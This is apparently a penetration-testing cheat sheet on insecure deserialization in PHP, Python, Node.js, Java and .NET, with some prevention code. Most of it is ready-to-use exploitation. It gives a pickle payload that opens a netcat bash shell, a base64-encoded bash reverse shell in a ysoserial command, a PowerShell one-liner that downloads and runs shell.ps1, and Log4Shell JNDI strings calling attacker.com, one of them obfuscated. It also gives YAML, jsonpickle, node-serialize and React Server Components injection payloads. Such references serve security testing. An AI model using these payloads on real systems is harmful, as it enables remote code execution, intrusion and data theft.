Serialization converts an object to a storable/transmittable format. Deserialization reconstructs it. Insecure deserialization allows attackers to manipulate serialized data to execute harmful code during object reconstruction.
PHP Deserialization
PHP magic methods called during deserialization:
Method When Called __sleep()When object is serialized __wakeup()When object is deserialized __unserialize()Called instead of __wakeup() if implemented (PHP 7.4+) __destruct()When object is destroyed/script ends __toString()When object is used as string
<? php
class test {
public $s = "This is a test" ;
public function __wakeup (){ echo "__wakeup method called" ; }
public function __destruct (){ echo "__destruct method called" ; }
}
$ser = serialize ( new test ());
// Output: O:4:"test":1:{s:1:"s";s:14:"This is a test";}
$unser = unserialize ( $ser );
// Calls __wakeup() and eventually __destruct()
PHP Object Injection Prevention
// UNSAFE - allows any class instantiation
$object = unserialize ( $userControlledData );
// SAFE - disable object instantiation
$object = unserialize ( $userControlledData , [
'allowed_classes' => false
]);
// Granular - only allow specific classes
$object = unserialize ( $userControlledData , [
'allowed_classes' => [ MyModel :: class , DateTime :: class ]
]);
On PHP < 7.0, the allowed_classes option does NOT exist, making unserialize() inherently dangerous.
# PHPGGC - PHP gadget chain generator (ysoserial for PHP)
phpggc -l # List available payloads
phpggc Laravel/RCE1 system id
phpggc Symfony/RCE4 system id
Python Deserialization
Pickle
When unpickling, __reduce__ is called:
import pickle, os, base64
class P ( object ):
def __reduce__ ( self ):
return (os.system, ( "netcat -c '/bin/bash -i' -l -p 1234" ,))
print (base64.b64encode(pickle.dumps(P())))
YAML
# PyYAML unsafe_load RCE
import yaml
yaml.unsafe_load( "!!python/object/apply:os.system ['id']" )
# jsonpickle RCE
import jsonpickle
jsonpickle.decode( '{"py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["id"]}]}' )
Node.js Deserialization
node-serialize
var serialize = require ( "node-serialize" )
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process' )
. exec ( 'ls /' , function ( error , stdout ) { console . log ( stdout ) }); }() "
}
serialize . unserialize ( test ) // Executes on deserialization
Prototype Pollution
Abusing __proto__ and prototype to inject properties into the base object prototype, potentially affecting all objects in the application.
Java Deserialization
Fingerprinting
Hex pattern: AC ED 00 05 (ObjectInputStream)
Base64 pattern: rO0
Compressed hex: 1F 8B 08 00
Compressed b64: H4sIA
JSF ViewState: javax.faces.ViewState=rO0AB...
White Box Code Review
# Search for vulnerable patterns
grep -R 'ObjectInputStream' .
grep -R 'readObject\|readUnshare\|XMLDecoder' .
find . -iname "*commons*collection*"
grep -R 'InvokeTransformer' .
Exploitation with ysoserial
# Test DNS interaction first (safer)
java -jar ysoserial.jar URLDNS http://b7j40108s43ysmdp.burpcollaborator.net > payload
# Windows RCE
java -jar ysoserial.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
java -jar ysoserial.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Linux RCE
java -jar ysoserial.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
java -jar ysoserial.jar CommonsCollections4 "touch /tmp/pwn" > payload
# Reverse shell (Linux, base64 encoded)
java -jar ysoserial.jar CommonsCollections4 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
| base64 -w0
React Server Components (CVE-2025-55182)
# Exploit react-server-dom-webpack decodeAction endpoint
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
The bound array directly populates server action parameters. If the action wraps exec(), this yields RCE.
.NET Deserialization
Fingerprinting
Look for TypeNameHandling, JavaScriptTypeResolver in code. In traffic, look for Base64 strings starting with AAEAAAD///// or JSON with $type or TypeObject.
ysoserial.net
# Send DNS request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup burpcollaborator.net" -o base64
# Reverse shell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" \
| iconv -t UTF-16LE | base64 -w0
ysoserial.exe -g ObjectDataProvider -f Json.Net \
-c "powershell -EncodedCommand <base64>" -o base64
JNDI Injection & Log4Shell
Log4j JNDI injection (CVE-2021-44228) allows RCE via specially crafted log messages:
# Trigger in any logged field (User-Agent, username, etc.)
${jndi:ldap://attacker.com/a}
${jndi:rmi://attacker.com/a}
${${lower:j}ndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com/a}
Java Message Service (JMS) Attacks
JMET can attack JMS services by sending malicious serialized objects:
java -jar JMET-0.1.0-all.jar -Q event -I ActiveMQ -s 10.10.10.10 -p 61616 ysoserial CommonsCollections6 "touch /tmp/jmet"
Prevention
// Override resolveClass to whitelist allowed types
public class LookAheadObjectInputStream extends ObjectInputStream {
@ Override
protected Class < ? > resolveClass ( ObjectStreamClass desc ) throws IOException , ClassNotFoundException {
if ( ! desc . getName (). equals ( Bicycle . class . getName ())) {
throw new InvalidClassException ( "Unauthorized deserialization" , desc . getName ());
}
return super . resolveClass (desc);
}
}
// Java 9+ serialization filters
ObjectInputFilter filter = info -> {
if ( info . depth () > MAX_DEPTH) return Status . REJECTED ;
if ( ! allowedClasses . contains ( info . serialClass (). getName ())) return Status . REJECTED ;
return Status . ALLOWED ;
};
ObjectInputFilter . Config . setSerialFilter (filter);
ysoserial Java gadget chain payload generator.
PHPGGC PHP gadget chain generator (ysoserial equivalent).
ysoserial.net .NET deserialization exploit generator.
Burp Freddy Burp extension for detecting deserialization in ObjectInputStream, JSON, and YAML.